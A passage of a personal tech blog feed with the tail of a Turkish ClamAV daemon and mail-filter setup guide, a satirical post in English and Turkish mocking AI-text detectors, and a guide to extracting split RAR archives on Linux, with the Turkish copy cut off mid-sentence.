<code>MaxThreads</code> (varsay&inodot;lan 10) ayar&inodot; kadar i&scedil; par&ccedil;ac&inodot;&gbreve;&inodot; kullanarak dizini paralel tarar.</li> <li><code>--fdpass</code>: <code>clamd</code>'nin (clamav kullan&inodot;c&inodot;s&inodot;) sizin dosyalar&inodot;n&inodot;z&inodot; (kullanici) okuyabilmesi i&ccedil;in izinleri (file descriptor) devreder.</li> </ul> </li> </ol> <h4 id="tcpsocketi-duzgun-etkinlestirme">TCPSocket'i D&uuml;zg&uuml;n Etkinle&scedil;tirme<a class="headerlink" href="#tcpsocketi-duzgun-etkinlestirme" title="Permanent link">#</a></h4> <p>Ad&inodot;m 1'deki uyar&inodot;y&inodot; hat&inodot;rlad&inodot;n&inodot;z m&inodot;? E&gbreve;er TCPSocket'i (&ouml;rn: <code>127.0.0.1:3310</code>) <code>clamd.conf</code>'ta a&ccedil;arsan&inodot;z, <code>systemd</code>'nin soket dosyas&inodot;n&inodot; da d&uuml;zenlemeniz gerekir, yoksa &ccedil;ak&inodot;&scedil;&inodot;rlar:</p> <p><code>sudo systemctl edit clamav-daemon.socket</code></p> <p>A&ccedil;&inodot;lan dosyaya &scedil;unu ekleyin (hem yerel hem TCP soketini dinlemek i&ccedil;in):</p> <div class="highlight"><pre><span></span><code><span class="k">[Socket]</span> <span class="na">ListenStream</span><span class="o">=</span> <span class="na">ListenStream</span><span class="o">=</span><span class="s">/run/clamav/clamd.ctl</span> <span class="na">ListenStream</span><span class="o">=</span><span class="s">127.0.0.1:3310</span> </code></pre></div> <p>Sonra <code>sudo systemctl restart clamav-daemon.socket</code> yap&inodot;n. <code>ss -tulpn | grep clamd</code> komutuyla portun dinlendi&gbreve;ini g&ouml;rebilirsiniz.</p> <hr/> <h3 id="adm-12-e-posta-korumas-milter">Ad&inodot;m 12: E-Posta Korumas&inodot; (Milter)<a class="headerlink" href="#adm-12-e-posta-korumas-milter" title="Permanent link">#</a></h3> <p>E&gbreve;er sisteminizde <code>Sendmail</code> veya <code>Postfix</code> gibi bir e-posta sunucusu &ccedil;al&inodot;&scedil;&inodot;yorsa, ClamAV'yi gelen e-postalar&inodot; taramas&inodot; i&ccedil;in bir "milter" (mail filter) olarak ba&gbreve;layabilirsiniz.</p> <p><strong>1. <code>clamav-milter.conf</code> Ayarlar&inodot;</strong> <code>/etc/clamav/clamav-milter.conf</code> dosyas&inodot;n&inodot; d&uuml;zenleyin:</p> <div class="highlight"><pre><span></span><code><span class="na">MilterSocket /tmp/clamav-milter.socket</span> <span class="na">MilterSocketMode 660</span> <span class="na">FixStaleSocket yes</span> <span class="na">User clamav</span> <span class="na">MilterSocketGroup clamav</span> <span class="na">PidFile /run/clamav/clamav-milter.pid</span> <span class="na">TemporaryDirectory /tmp</span> <span class="na">ClamdSocket unix</span><span class="o">:</span><span class="s">/run/clamav/clamd.ctl</span> <span class="na">LogSyslog yes</span> <span class="na">LogInfected Basic</span> </code></pre></div> <p><strong>2. systemd Servisi Olu&scedil;turma</strong> <code>sudo nano /etc/systemd/system/clamav-milter.service</code></p> <div class="highlight"><pre><span></span><code><span class="k">[Unit]</span> <span class="na">Description</span><span class="o">=</span><span class="s">'ClamAV Milter'</span> <span class="na">After</span><span class="o">=</span><span class="s">clamav-daemon.service</span> <span class="k">[Service]</span> <span class="na">Type</span><span class="o">=</span><span class="s">forking</span> <span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/bin/clamav-milter --config-file /etc/clamav/clamav-milter.conf</span> <span class="na">Restart</span><span class="o">=</span><span class="s">Always</span> <span class="k">[Install]</span> <span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span> </code></pre></div> <p><strong>3. Postfix Ayar&inodot; (&Ouml;rnek)</strong> E&gbreve;er Postfix kullan&inodot;yorsan&inodot;z, <code>/etc/postfix/main.cf</code> i&ccedil;ine ekleyin:</p> <div class="highlight"><pre><span></span><code><span class="na">smtpd_milters</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">unix:/tmp/clamav-milter.socket</span> <span class="na">milter_default_action</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">tempfail</span> </code></pre></div> <p><strong>4. Ba&scedil;latma</strong> <code>sudo systemctl enable --now clamav-milter.service</code> <code>journalctl</code> ile loglar&inodot; kontrol edin. Postfix'in sokete eri&scedil;im izni yoksa, <code>postfix</code> kullan&inodot;c&inodot;s&inodot;n&inodot; <code>clamav</code> grubuna ekleyin: <code>sudo gpasswd -a postfix clamav</code>.</p> <hr/> <h3 id="adm-13-sorun-giderme-bas-agrlar">Ad&inodot;m 13: Sorun Giderme (Ba&scedil; A&gbreve;r&inodot;lar&inodot;)<a class="headerlink" href="#adm-13-sorun-giderme-bas-agrlar" title="Permanent link">#</a></h3> <ul> <li> <p><strong>Hata: <code>Clamd was NOT notified</code> (freshclam sonras&inodot;)</strong></p> </li> <li> <p><strong>Sorun:</strong> <code>freshclam</code>, g&uuml;ncellemeyi <code>clamd</code>'ye bildiremiyor &ccedil;&uuml;nk&uuml; soket dosyas&inodot; (<code>clamd.ctl</code>) yok veya yanl&inodot;&scedil; yerde.</p> </li> <li> <p><strong>&Ccedil;&ouml;z&uuml;m:</strong> <code>clamd.conf</code> dosyas&inodot;n&inodot; a&ccedil;&inodot;n ve <code>LocalSocket /run/clamav/clamd.ctl</code> sat&inodot;r&inodot;n&inodot;n yorumunu kald&inodot;r&inodot;p aktif hale getirin. <code>clamav-daemon.service</code>'i yeniden ba&scedil;lat&inodot;n.</p> </li> <li> <p><strong>Hata: <code>No supported database files found</code> (clamd ba&scedil;larken)</strong></p> </li> <li> <p><strong>Sorun:</strong> <code>freshclam.conf</code> ve <code>clamd.conf</code> dosyalar&inodot;ndaki <code>DatabaseDirectory</code> ayarlar&inodot; birbiriyle e&scedil;le&scedil;miyor. Biri <code>/var/lib/clamav</code> derken di&gbreve;eri <code>/usr/share/clamav</code> diyor olabilir.</p> </li> <li> <p><strong>&Ccedil;&ouml;z&uuml;m:</strong> &Idot;ki dosyay&inodot; da kontrol edin ve <code>DatabaseDirectory</code> yollar&inodot;n&inodot;n <strong>ayn&inodot;</strong> (genellikle <code>/var/lib/clamav</code>) oldu&gbreve;undan emin olun.</p> </li> <li> <p><strong>Hata: <code>Can't create temporary directory</code></strong></p> </li> <li> <p><strong>Sorun:</strong> &Idot;zin hatas&inodot;. Loglarda genellikle bir UID/GID numaras&inodot; yazar.</p> </li> <li><strong>&Ccedil;&ouml;z&uuml;m:</strong> <code>/var/lib/clamav</code> dizininin sahipli&gbreve;ini d&uuml;zeltin. <code>sudo chown -R clamav:clamav /var/lib/clamav</code> <code>sudo chmod 755 /var/lib/clamav</code></li> </ul> <hr/> <h3 id="sonuc-artk-gercekten-paranoyaksnz">Sonu&ccedil;: Art&inodot;k Ger&ccedil;ekten Paranoyaks&inodot;n&inodot;z<a class="headerlink" href="#sonuc-artk-gercekten-paranoyaksnz" title="Permanent link">#</a></h3> <p>Bu rehber, kaynaktaki her bir detay&inodot; i&ccedil;eriyor. Art&inodot;k sadece <code>clamscan</code> &ccedil;al&inodot;&scedil;t&inodot;ran biri de&gbreve;ilsiniz. Arka planda &ccedil;al&inodot;&scedil;an, RAM'de haz&inodot;r bekleyen, &ccedil;oklu &ccedil;ekirdekle tarama yapan, yeni dosyalar&inodot; an&inodot;nda yakalayan, size masa&uuml;st&uuml; bildirimi atan, e-postalar&inodot;n&inodot;z&inodot; filtreleyen ve ekstra veritabanlar&inodot;yla g&uuml;&ccedil;lendirilmi&scedil; bir ClamAV canavar&inodot;n&inodot;z var.</p> <p>Yine de unutmay&inodot;n: En iyi antivir&uuml;s, o torrent'in yorumlar&inodot;n&inodot; okuyan sizsiniz.</p>2025-11-12T18:45:00+03:002025-11-12T18:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-12:/en/ai-detector-sacmaliklari/

<p>AI detectors are sometimes so confused that you're mistaken for a robot even when you write properly. This is the comedy of the modern age.</p>

<p>Welcome to the comedy of the new age. Now, if you write too well, <strong>you're guilty.</strong> "This can't be human," says the detector. So, you spend years learning a language, studying grammar rules, only to be labeled a robot. Great system, really 👏</p> <hr/> <h2 id="the-logic-of-detectors">⚙️ The "Logic" of Detectors<a class="headerlink" href="#the-logic-of-detectors" title="Permanent link">#</a></h2> <p>These systems are basically tiny math calculators. They measure sentence lengths, word repetitions, and vocabulary diversity. In other words, they don't read your emotion, they read your "rhythm." If a sentence is too smooth, the alarm bells ring immediately:</p> <blockquote> <p>"This is too well-written, definitely AI!"</p> </blockquote> <p>But you know what's funny? They themselves give <strong>5000 different answers to the same question.</strong> And they call this the <em>"determinism problem"</em> 😄 So they've even found a fancy name for their own indecisiveness. In short: "We don't know what we're saying either, but let's make it sound cool."</p> <hr/> <h2 id="the-real-problem-assuming-humans-are-flawed">🧠 The Real Problem: Assuming Humans are Flawed<a class="headerlink" href="#the-real-problem-assuming-humans-are-flawed" title="Permanent link">#</a></h2> <p>These tools have coded humans as beings who speak in disorganized, flawed, and incomplete sentences. What if you're thoughtful, fluent, or logical? Sorry, you're an AI now. <em>(Writing well might be the new type of crime.)</em></p> <p>At some point, this nonsense reaches such a level that... I wouldn't be surprised if "improper writing courses" start popping up soon.</p> <blockquote> <p>"Professor, should we misplace the comma today?" "Yes, yes, otherwise it'll come out as 100% AI."</p> </blockquote> <hr/> <h2 id="an-attempted-dialogue-with-a-detector">💬 An Attempted Dialogue with a Detector<a class="headerlink" href="#an-attempted-dialogue-with-a-detector" title="Permanent link">#</a></h2> <p>&mdash; Hey detector, I wrote this text.</p> <ul> <li>Impossible. You wrote it too fluently.</li> </ul> <p>&mdash; Should I misspell a word or two?</p> <ul> <li>Oh, okay. You're human now.</li> </ul> <p>So, the system recognizes a human "when they make a mistake." Fantastic. Civilization just hit CTRL+Z.</p> <hr/> <h2 id="theres-no-such-thing-as-a-100-humanity-guarantee">💸 There's No Such Thing as a "100% Humanity Guarantee"<a class="headerlink" href="#theres-no-such-thing-as-a-100-humanity-guarantee" title="Permanent link">#</a></h2> <p>Some sites claim a "100% human guarantee." But when you test the same text on another site... guess what? Even they can't pass their own AI test 😅</p> <p>And they sell a <strong>premium package</strong> for this! Come on, folks, don't kid yourselves. You can't measure humanity with an AI detector&mdash;at best, it's a marketing gimmick.</p> <hr/> <h2 id="conclusion-theres-a-brain-but-no-logic">🧩 Conclusion: There's a Brain, But No Logic<a class="headerlink" href="#conclusion-theres-a-brain-but-no-logic" title="Permanent link">#</a></h2> <p>AI detectors don't actually understand anyone. They just memorize patterns. And with every proper sentence, they panic and shout "robot!"</p> <p>But the irony is this: The same system is inconsistent within itself, giving a different result each time. (<em>And they call this the "determinism problem"&mdash;sounds cool, right? 🤷&zwj;&male;️</em>)</p> <p><strong>The result?</strong> Write like a human, but mix it up a bit, pause, throw in a "whatever" here and there. Otherwise, a piece of software as unstable as itself will accuse you of being too logical.</p> <p><img alt="AI Detectors and Human Writing" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/ai-detector-sacmaliklari-xl.webp" srcset="/images/ai-detector-sacmaliklari-sm.webp 300w, /images/ai-detector-sacmaliklari-md.webp 500w, /images/ai-detector-sacmaliklari-lg.webp 800w, /images/ai-detector-sacmaliklari-xl.webp 1200w"/></p>2025-11-12T18:45:00+03:002025-11-12T18:45:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-12:/ai-detector-sacmaliklari/

<p>AI dedektörleri bazen o kadar şaşkın ki, düzgün yazınca bile robot sanılıyorsun. İşte modern çağın komedisi.</p>

<p>Yeni &ccedil;a&gbreve;&inodot;n komedisine ho&scedil; geldin. Art&inodot;k &ccedil;ok d&uuml;zg&uuml;n yazarsan <strong>su&ccedil;lusun.</strong> &ldquo;Bu insan olamaz.&rdquo; diyor dedekt&ouml;r. Yani y&inodot;llarca dil &ouml;&gbreve;ren, yaz&inodot;m kurallar&inodot;n&inodot; &ccedil;al&inodot;&scedil;, sonra robot ilan edil. Harika sistem, ger&ccedil;ekten 👏</p> <hr/> <h2 id="dedektorlerin-mantg">⚙️ Dedekt&ouml;rlerin Mant&inodot;&gbreve;&inodot;(!)<a class="headerlink" href="#dedektorlerin-mantg" title="Permanent link">#</a></h2> <p>Bu sistemler asl&inodot;nda minik matematik hesap makineleri. C&uuml;mle uzunluklar&inodot;n&inodot;, kelime tekrarlar&inodot;n&inodot;, kelime &ccedil;e&scedil;itlili&gbreve;ini &ouml;l&ccedil;&uuml;yorlar. Yani duygunu de&gbreve;il, &ldquo;ritmini&rdquo; okuyorlar. Bir c&uuml;mle fazla p&uuml;r&uuml;zs&uuml;zse, hemen alarm &ccedil;al&inodot;yor:</p> <blockquote> <p>&ldquo;Bu fazla iyi yaz&inodot;lm&inodot;&scedil;, kesin AI!&rdquo;</p> </blockquote> <p>Ama bak &scedil;imdi komik olan ne biliyor musun? Kendileri <strong>ayn&inodot; soruya 5000 farkl&inodot; cevap veriyor.</strong> Ve buna <em>&ldquo;determinism problemi&rdquo;</em> diyorlar 😄 Yani kendi karars&inodot;zl&inodot;klar&inodot;na bile s&uuml;sl&uuml; bir isim bulmu&scedil;lar. K&inodot;saca: &ldquo;Biz de ne dedi&gbreve;imizi bilmiyoruz ama haval&inodot; dursun.&rdquo;</p> <hr/> <h2 id="gercek-sorun-insan-kusurlu-sanmak">🧠 Ger&ccedil;ek Sorun: &Idot;nsan&inodot; Kusurlu Sanmak<a class="headerlink" href="#gercek-sorun-insan-kusurlu-sanmak" title="Permanent link">#</a></h2> <p>Bu ara&ccedil;lar, insan&inodot; d&uuml;zensiz, hatal&inodot; ve yar&inodot;m c&uuml;mlelerle konu&scedil;an bir varl&inodot;k olarak kodlam&inodot;&scedil;. E&gbreve;er d&uuml;&scedil;&uuml;nceli, ak&inodot;c&inodot; ya da mant&inodot;kl&inodot;ysan? &Uuml;zg&uuml;n&uuml;m, art&inodot;k sen bir yapay zek&acirc;s&inodot;n. <em>(&Idot;yi yazmak, yeni su&ccedil; t&uuml;r&uuml; olabilir.)</em></p> <p>Bir noktadan sonra bu sa&ccedil;mal&inodot;k &ouml;yle boyutlara ula&scedil;&inodot;yor ki&hellip; Yak&inodot;nda &ldquo;yanl&inodot;&scedil; yazma kurslar&inodot;&rdquo; a&ccedil;&inodot;l&inodot;rsa &scedil;a&scedil;&inodot;rmam.</p> <blockquote> <p>&ldquo;Hocam, bug&uuml;n -de&rsquo;yi yanl&inodot;&scedil; m&inodot; ayr&inodot; yaz&inodot;yoruz?&rdquo; &ldquo;Evet evet, yoksa %100 AI &ccedil;&inodot;kar.&rdquo;</p> </blockquote> <hr/> <h2 id="dedektorle-diyalog-denemesi">💬 Dedekt&ouml;rle Diyalog Denemesi<a class="headerlink" href="#dedektorle-diyalog-denemesi" title="Permanent link">#</a></h2> <p>&mdash; Selam dedekt&ouml;r, bu yaz&inodot;y&inodot; ben yazd&inodot;m.</p> <ul> <li>Olamaz. &Ccedil;ok ak&inodot;c&inodot; yazm&inodot;&scedil;s&inodot;n.</li> </ul> <p>&mdash; &Idot;stersen bir iki kelimeyi yanl&inodot;&scedil; yazay&inodot;m?</p> <ul> <li>Oh, tamam. Art&inodot;k insans&inodot;n.</li> </ul> <p>Yani sistem, insan&inodot; &ldquo;yanl&inodot;&scedil; yap&inodot;nca&rdquo; tan&inodot;yor. Harika. Medeniyet resmen CTRL+Z &ccedil;ekti.</p> <hr/> <h2 id="100-humanity-garantisi-diye-bir-sey-yok">💸 &ldquo;%100 Humanity Garantisi&rdquo; Diye Bir &Scedil;ey Yok<a class="headerlink" href="#100-humanity-garantisi-diye-bir-sey-yok" title="Permanent link">#</a></h2> <p>Baz&inodot; siteler &ldquo;%100 human guarantee&rdquo; diye iddia ediyor. Ama ayn&inodot; yaz&inodot;y&inodot; ba&scedil;ka bir sitede test etti&gbreve;inde&hellip; tahmin et? Kendileri bile AI testinden ge&ccedil;emiyor 😅</p> <p>Bir de bunun i&ccedil;in <strong>premium paket</strong> sat&inodot;yorlar! Hadi ama dostum, kendinizi kand&inodot;rmay&inodot;n. AI dedekt&ouml;r&uuml;yle insanl&inodot;k &ouml;l&ccedil;&uuml;lmez &mdash; olsa olsa pazarlama numaras&inodot; olur.</p> <hr/> <h2 id="sonuc-akl-var-mantk-yok">🧩 Sonu&ccedil;: Ak&inodot;l Var, Mant&inodot;k Yok<a class="headerlink" href="#sonuc-akl-var-mantk-yok" title="Permanent link">#</a></h2> <p>AI dedekt&ouml;rleri asl&inodot;nda kimseyi anlam&inodot;yor. Sadece kal&inodot;plar&inodot; ezberliyor. Ve her d&uuml;zg&uuml;n c&uuml;mlede panikleyip &ldquo;robot!&rdquo; diye ba&gbreve;&inodot;r&inodot;yor.</p> <p>Ama ironik olan &scedil;u: Ayn&inodot; sistem kendi i&ccedil;inde tutars&inodot;z, her defas&inodot;nda ba&scedil;ka sonu&ccedil; veriyor. (<em>&Idot;&scedil;te buna da &ldquo;determinism problemi&rdquo; diyorlar &mdash; haval&inodot; duruyor ya 🤷&zwj;&male;️</em>)</p> <p><strong>Sonu&ccedil;?</strong> &Idot;nsan gibi yaz, ama biraz kar&inodot;&scedil;t&inodot;r, biraz durakla, araya &ldquo;neyse&rdquo; falan s&inodot;k&inodot;&scedil;t&inodot;r. Yoksa seni kendi kadar dengesiz bir yaz&inodot;l&inodot;m, fazla mant&inodot;kl&inodot; oldu&gbreve;un i&ccedil;in su&ccedil;layacak.</p> <p><img alt="AI Dedekt&ouml;rleri ve &Idot;nsan Yaz&inodot;s&inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/ai-detector-sacmaliklari-xl.webp" srcset="/images/ai-detector-sacmaliklari-sm.webp 300w, /images/ai-detector-sacmaliklari-md.webp 500w, /images/ai-detector-sacmaliklari-lg.webp 800w, /images/ai-detector-sacmaliklari-xl.webp 1200w"/></p>2025-11-12T16:00:00+03:002025-11-12T16:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-12:/en/bolunmus-rar-dosyalarini-cikarmanin-en-kolay-yolu/

<p>The modern way to quickly and safely extract split RAR archives like .part1.rar, .part2.rar on Linux systems using unrar and 7-Zip tools.</p>

<h2 id="introduction">Introduction<a class="headerlink" href="#introduction" title="Permanent link">#</a></h2> <p>A common scenario in a Linux environment: an archive is split into parts like "file.part1.rar", "file.part2.rar", and so on. In this situation, choosing the right tool and ensuring all parts are in the same directory can significantly simplify the process. Below, I explain how to extract such <strong>split RAR files</strong> using methods that are current as of 2025.</p> <hr/> <h2 id="features-of-the-rar-format">Features of the RAR Format<a class="headerlink" href="#features-of-the-rar-format" title="Permanent link">#</a></h2> <p>The RAR archive format was developed by Eugene Roshal and is a proprietary format belonging to RARLab. Due to its proprietary license, it is often provided as a "support package" in many Linux distributions; it requires extra steps compared to open-source formats like <code>.zip</code>, <code>.tar.gz</code>, or <code>.tar.zst</code>.</p> <hr/> <h2 id="1-extracting-with-unrar">1️⃣ Extracting with <code>unrar</code><a class="headerlink" href="#1-extracting-with-unrar" title="Permanent link">#</a></h2> <p>The official command-line tool <code>unrar</code> can directly handle split RAR archives. As of 2025, it is actively maintained in many distributions.</p> <h3 id="installation">Installation<a class="headerlink" href="#installation" title="Permanent link">#</a></h3> <ul> <li><strong>Debian/Ubuntu</strong>:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>update sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>unrar </code></pre></div> <ul> <li><strong>Fedora/RHEL</strong>:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>unrar </code></pre></div> <ul> <li><strong>Arch Linux</strong>:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>unrar </code></pre></div> <h3 id="usage">Usage<a class="headerlink" href="#usage" title="Permanent link">#</a></h3> <p>Ensure all part files are in the same folder and extract the first part as follows:</p> <div class="highlight"><pre><span></span><code>unrar<span class="w"> </span>x<span class="w"> </span>file.part1.rar </code></pre></div> <p>The command will automatically detect and process all subsequent parts that follow <code>part1</code>.</p> <div class="admonition note"> <p class="admonition-title">If the archive contains non-English characters and you see garbled output, try running the command with the <code>LC_ALL=C</code> locale.</p> </div> <hr/> <h2 id="2-alternative-method-with-7-zip-or-7zz_1">2️⃣ Alternative Method with <code>7-Zip</code> or <code>7zz</code><a class="headerlink" href="#2-alternative-method-with-7-zip-or-7zz" title="Permanent link">#</a></h2> <p>The Linux versions of 7-Zip (like <code>7zz</code>, <code>p7zip-full</code>) support split RAR archives. Compatibility has been particularly improved for the RAR5 format.</p> <h3 id="installation_1">Installation<a class="headerlink" href="#installation_1" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>p7zip-full </code></pre></div> <ul> <li>For Arch Linux users:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>p7zip <span class="c1"># or from AUR:</span> yay<span class="w"> </span>-S<span class="w"> </span>p7zip-full-bin </code></pre></div> <h3 id="usage_1">Usage<a class="headerlink" href="#usage_1" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>7zz<span class="w"> </span>x<span class="w"> </span>file.part1.rar </code></pre></div> <p>This command will also detect the parts and complete the extraction, provided the appropriate package is installed.</p> <div class="admonition tip"> <p class="admonition-title">In some distributions, the <code>p7zip-full</code> package may lack RAR support &ndash; in this case, <code>unrar</code> should be preferred.</p> </div> <hr/> <h2 id="3-extracting-with-a-graphical-interface_1">3️⃣ Extracting with a Graphical Interface<a class="headerlink" href="#3-extracting-with-a-graphical-interface" title="Permanent link">#</a></h2> <p>If you are a desktop user, extracting via your archive manager's right-click context menu might be sufficient. For example:</p> <ul> <li>File Roller (GNOME)</li> <li>Ark (KDE)</li> <li>Xarchiver (XFCE)</li> </ul> <p>These tools often detect the other parts when you right-click on the <code>.part1.rar</code> file and select "Extract Here".</p> <div class="admonition warning"> <p class="admonition-title">If one of the parts is missing or in a different directory, the extraction will fail or result in incomplete data.</p> </div> <hr/> <h2 id="considering-alternative-formats">Considering Alternative Formats<a class="headerlink" href="#considering-alternative-formats" title="Permanent link">#</a></h2> <p>If you are creating your own archives, it may be beneficial to prefer open formats like <code>.zip</code>, <code>.tar.gz</code>, <code>.tar.xz</code>, or <code>.tar.zst</code>. These do not have licensing restrictions and are directly supported on all Linux distributions.</p> <hr/> <h2 id="conclusion">Conclusion<a class="headerlink" href="#conclusion" title="Permanent link">#</a></h2> <p>Split RAR files are no longer an obstacle on Linux. You can extract them with a few commands using tools like <code>unrar</code> or <code>7zz</code>. When creating archives, preferring open compression formats increases both portability and seamless compatibility.</p> <p><img alt="The Easiest Way to Extract Split RAR Files" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/bolunmus-rar-dosyalarini-cikarma-xl.webp" srcset="/images/bolunmus-rar-dosyalarini-cikarma-sm.webp 300w, /images/bolunmus-rar-dosyalarini-cikarma-md.webp 500w, /images/bolunmus-rar-dosyalarini-cikarma-lg.webp 800w, /images/bolunmus-rar-dosyalarini-cikarma-xl.webp 1200w"/></p>2025-11-12T16:00:00+03:002025-11-12T16:00:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-12:/bolunmus-rar-dosyalarini-cikarmanin-en-kolay-yolu/

<p>Linux sistemlerde .part1.rar, .part2.rar gibi bölünmüş RAR arşivlerini unrar ve 7-Zip araçlarıyla hızlı ve güvenli şekilde açmanın güncel yöntemi.</p>

<h2 id="giris">Giri&scedil;<a class="headerlink" href="#giris" title="Permanent link">#</a></h2> <p>Linux ortam&inodot;nda s&inodot;k kar&scedil;&inodot;la&scedil;&inodot;lan bir durum: bir ar&scedil;iv &ldquo;dosya.part1.rar&rdquo;, &ldquo;dosya.part2.rar&rdquo; gibi par&ccedil;alara b&ouml;l&uuml;nm&uuml;&scedil;. Bu durumda do&gbreve;ru arac&inodot; se&ccedil;mek ve t&uuml;m par&ccedil;alar&inodot;n ayn&inodot; dizinde oldu&gbreve;undan emin olmak i&scedil;i ciddi &ouml;l&ccedil;&uuml;de kolayla&scedil;t&inodot;r&inodot;r. A&scedil;a&gbreve;&inodot;da, 2025 y&inodot;l&inodot; itibar&inodot;yla ge&ccedil;erli y&ouml;ntemlerle bu t&uuml;r <strong>b&ouml;l&uuml;nm&uuml;&scedil; RAR dosyalar&inodot;n&inodot;n</strong> nas&inodot;l &ccedil;&inodot;kar&inodot;laca&gbreve;&inodot;n&inodot; anlat&inodot;yorum.</p> <hr/> <h2 id="rar-biciminin-ozellikleri">RAR Bi&ccedil;iminin &Ouml;zellikleri<a class="headerlink" href="#rar-biciminin-ozellikleri" title="Permanent link">#</a></h2> <p>RAR ar&scedil;iv bi&ccedil;imi, Eugene Roshal taraf&inodot;ndan geli&scedil;tirilmi&scedil; ve RARLab firmas&inodot;na ait &ouml;zel bir formatt&inodot;r. Bu &ouml;zel lisansl&inodot; yap&inodot; nedeniyle bir&ccedil;ok Linux da&gbreve;&inodot;t&inodot;m&inodot;nda &ldquo;destek paketi&rdquo; olarak sunulur; a&ccedil;&inodot;k kaynakl&inodot; <code>.zip</code>, <code>.tar.gz</code>, <code>.tar.zst</code> gibi bi&ccedil;imlerle k&inodot;yasland&inodot;&gbreve;&inodot;nda ek ad&inodot;mlar gerektirir.</p> <hr/> <h2 id="1-unrar-ile-ckarma">1️⃣ <code>unrar</code> ile &Ccedil;&inodot;karma<a class="headerlink" href="#1-unrar-ile-ckarma" title="Permanent link">#</a></h2> <p>Resm&icirc; komut sat&inodot;r&inodot; arac&inodot; <code>unrar</code>, b&ouml;l&uuml;nm&uuml;&scedil; RAR ar&scedil;ivlerini do&gbreve;rudan i&scedil;leyebilir. Ayr&inodot;ca 2025 itibar&inodot;yla pek &ccedil;ok da&gbreve;&inodot;t&inodot;mda aktif duruma ge&ccedil;mi&scedil;tir.</p> <h3 id="kurulum">Kurulum<a class="headerlink" href="#kurulum" title="Permanent link">#</a></h3> <ul> <li><strong>Debian/Ubuntu</strong>:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>update sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>unrar </code></pre></div> <ul> <li><strong>Fedora/RHEL</strong>:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>unrar </code></pre></div> <ul> <li><strong>Arch Linux</strong>:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>unrar </code></pre></div> <h3 id="kullanm">Kullan&inodot;m<a class="headerlink" href="#kullanm" title="Permanent link">#</a></h3> <p>T&uuml;m par&ccedil;a dosyalar&inodot;n&inodot;n ayn&inodot; klas&ouml;rde oldu&gbreve;undan emin olun ve ilk par&ccedil;ay&inodot; &scedil;u &scedil;ekilde a&ccedil;&inodot;n:</p> <div class="highlight"><pre><span></span><code>unrar<span class="w"> </span>x<span class="w"> </span>dosya.part1.rar </code></pre></div> <p>Komut, <code>part1</code> sonras&inodot; gelen t&uuml;m par&ccedil;alar&inodot; otomatik tan&inodot;r ve &ccedil;&inodot;kt&inodot;lar&inodot; i&scedil;ler.</p> <div class="admonition note"> <p class="admonition-title">E&gbreve;er ar&scedil;iv T&uuml;rk&ccedil;e karakter i&ccedil;eriyorsa ve &ccedil;&inodot;kt&inodot;da bozulma g&ouml;r&uuml;yorsan&inodot;z terminal kod sayfas&inodot;n&inodot; <code>LC_ALL=C</code> olarak &ccedil;al&inodot;&scedil;t&inodot;rmay&inodot; deneyin.</p> </div> <hr/> <h2 id="2-7-zip-veya-7zz-ile-alternatif-yontem_1">2️⃣ <code>7-Zip</code> veya <code>7zz</code> ile Alternatif Y&ouml;ntem<a class="headerlink" href="#2-7-zip-veya-7zz-ile-alternatif-yontem" title="Permanent link">#</a></h2> <p>7‑Zip Linux versiyonlar&inodot; (<code>7zz</code>, <code>p7zip-full</code> gibi) b&ouml;l&uuml;nm&uuml;&scedil; RAR ar&scedil;ivlerini destekler. &Ouml;zellikle RAR5 bi&ccedil;imiyle uyumlulu&gbreve;u artm&inodot;&scedil;t&inodot;r.</p> <h3 id="kurulum_1">Kurulum<a class="headerlink" href="#kurulum_1" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt<span class="w"> </span>install<span class="w"> </span>p7zip-full </code></pre></div> <ul> <li>Arch Linux kullan&inodot;c&inodot;lar&inodot; i&ccedil;in:</li> </ul> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-S<span class="w"> </span>p7zip <span class="c1">#veya Aur'dan:</span> yay<span class="w"> </span>-S<span class="w"> </span>p7zip-full-bin </code></pre></div> <h3 id="kullanm_1">Kullan&inodot;m<a class="headerlink" href="#kullanm_1" title="Permanent link">#</a></h3> <div class="highlight"><pre><span></span><code>7zz<span class="w"> </span>x<span class="w"> </span>dosya.part1.rar </code></pre></div> <p>Bu komut da, uygun paket i&ccedil;eriyorsa, par&ccedil;alar&inodot; alg&inodot;lar ve &ccedil;&inodot;karma i&scedil;lemini tamamlar.</p> <div class="admonition tip"> <p class="admonition-title">Baz&inodot; da&gbreve;&inodot;t&inodot;mlarda <code>p7zip-full</code> paketinde 